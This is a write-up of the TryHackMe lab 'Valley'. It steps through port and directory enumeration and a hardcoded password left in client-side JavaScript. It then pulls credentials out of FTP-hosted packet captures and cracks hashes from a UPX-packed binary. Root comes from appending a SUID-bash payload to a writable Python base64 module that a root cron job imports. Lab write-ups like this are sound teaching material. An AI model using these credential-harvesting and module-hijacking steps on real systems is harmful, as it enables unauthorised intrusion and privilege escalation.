Valley - TryHackMe Writeup
Valley - TryHackMe Writeup
##TryHackMe Room - Valley
Can you find your way into the Valley?
Valley simulates a realistic enterprise compromise chain: multiple small mistakes (exposed dev artifacts, client-side credentials, password reuse, FTP, PCAPs, UPX-packed binaries, group misconfigurations, Python module hijacking, and root cron) combine to allow full system compromise. This writeup follows the same structure and style as the other room writeups.
##Enumeration
###Nmap Scan
We start with full TCP port enumeration and service version detection:
nmap -p- -vv -sV <TARGET_IP>Why:
scans all TCP ports,-p-
enables version detection,-sV
gives verbose output.-vv
Results:
22/tcp open ssh OpenSSH 8.2p1 80/tcp open http Apache 2.4.41 37370/tcp open ftp vsftpd 3.0.3
We have SSH, HTTP, and FTP on a non-standard port (37370). Non-standard FTP often indicates internal or dev use. Anonymous FTP login fails (
), so the web server is the primary target.530 Login incorrect
###Web Enumeration
Browsing port 80 shows a static photography site for βValley Photo Co.β We fuzz directories:
ffuf -u http://<TARGET_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .txt,.html,.phpResults:
,gallery
,pricing
,static
index.html
Then we fuzz
:/static/
ffuf -u http://<TARGET_IP>/static/FUZZ -w /usr/share/wordlists/dirb/big.txtAmong the results, the path
is unusual. Visiting00
returns:http://<TARGET_IP>/static/00
dev notes from valleyDev: -add wedding photo examples -redo the editing on #4 -remove /dev1243224123123 -check for SIEM alerts
So we have a username (
) and a hidden dev endpoint (valleyDev
)./dev1243224123123
##Client-Side Credential Exposure
###Dev Login Portal
Navigating to
shows a login page:/dev1243224123123

βValley Photo Co. Dev Loginβ
The page loads JavaScript. Inspecting
reveals hardcoded credentials:dev.js

if (username === "siemDev" && password === "california") {Credentials:
/siemDev
<REDACTED>
We log in with these. After authentication we are shown a file:
devNotes37370.txt

Contents:
dev notes for ftp server: -stop reusing credentials -change ftp port to normal port
So the same credentials are reused for FTP on port 37370.
##FTP Access and PCAP Download
We connect to FTP with the dev credentials:
ftp <TARGET_IP> 37370Login succeeds. Listing files:
siemFTP.pcapng siemHTTP1.pcapng siemHTTP2.pcapng
We download all three. PCAPs often contain plaintext authentication.
##PCAP Credential Extraction
Open
in Wireshark and filter:siemHTTP2.pcapng
http.request.method == "POST"
Follow the TCP stream of the POST request. Inside the stream:

uname=valleyDev&psw=<REDACTED>
So we recover valleyDev and its password (plaintext over HTTP). We will use these for SSH.
##Initial Foothold via SSH
ssh valleyDev@<TARGET_IP>Login works. Then:
cat user.txtUser flag:
<REDACTED>
##Local Enumeration
We enumerate users, sudo, and cron:
ls /homeOutput:
,siemDev
,valley
,valleyAuthenticator
valleyDev
A file named valleyAuthenticator stands out. We locate it and transfer it to our attacker machine for analysis.

##Reverse Engineering valleyAuthenticator
file valleyAuthenticatorELF 64-bit executable, statically linked
strings valleyAuthenticatorWe see the string
β the binary is UPX-packed. Unpack on our box:UPX!
upx -d valleyAuthenticatorThen run
again. We find two 32-character hex strings (MD5 hashes):strings

Crack them (e.g. with
orjohn
). One hash yields credentials for the user valley:hashcat

Credentials:
/valley
<REDACTED>
##Lateral Movement
su valleyWe are now the user valley.
##Privilege Escalation to Root
###Cron and Python Script
cat /etc/crontabWe find:
* * * * * root python3 /photos/script/photosEncrypt.py
Every minute, root runs a Python script. If we can control what that script imports or executes, we can escalate.
###Group Enumeration
idgroups=valley,valleyAdmin
We search for files owned by group valleyAdmin:
find / -group valleyAdmin -type f 2>/dev/nullResult:
/usr/lib/python3.8/base64.py
So we can write to the system
module used by Python. The cron script does:base64
import base64Python will load
. This is Python standard library hijacking./usr/lib/python3.8/base64.py
###Module Hijacking
We append malicious code to
(ensure we keep the original module behavior or only append):/usr/lib/python3.8/base64.py
import os
os.system("cp /bin/bash /tmp/rootbash")
os.system("chmod +s /tmp/rootbash")
Wait for the next cron run (within a minute). Then:
ls /tmpWe see
. Run:rootbash
/tmp/rootbash -pideuid=0(root)
Root obtained.
##Root Flag
cat /root/root.txtRoot flag:
<REDACTED>

Challenge solved.
##Summary
Valley shows how several small issues chain together:
- >Exposed dev endpoints β
and/static/00
from dev notes./dev1243224123123 - >Client-side credentials β
/ password insiemDev
.dev.js - >Password reuse β same credentials for web and FTP.
- >FTP and PCAPs β PCAPs on FTP contained plaintext HTTP login (valleyDev).
- >UPX and weak secrets β Authenticator binary packed with UPX; hashes inside cracked to valleyβs password.
- >Group permissions β
allowed write tovalleyAdmin
./usr/lib/python3.8/base64.py - >Cron + Python imports β Root cron importing
caused our hijacked module to run as root.base64
##References
- >UPX - Ultimate Packer for Executables
- >Python import system and module hijacking
- >Linux privilege escalation via writable Python modules
##Answers
###Task 1 - Valley
Can you find your way into the Valley?
- >
What is the user flag?
Ans.
<REDACTED> - >
What is the root flag?
Ans.
<REDACTED>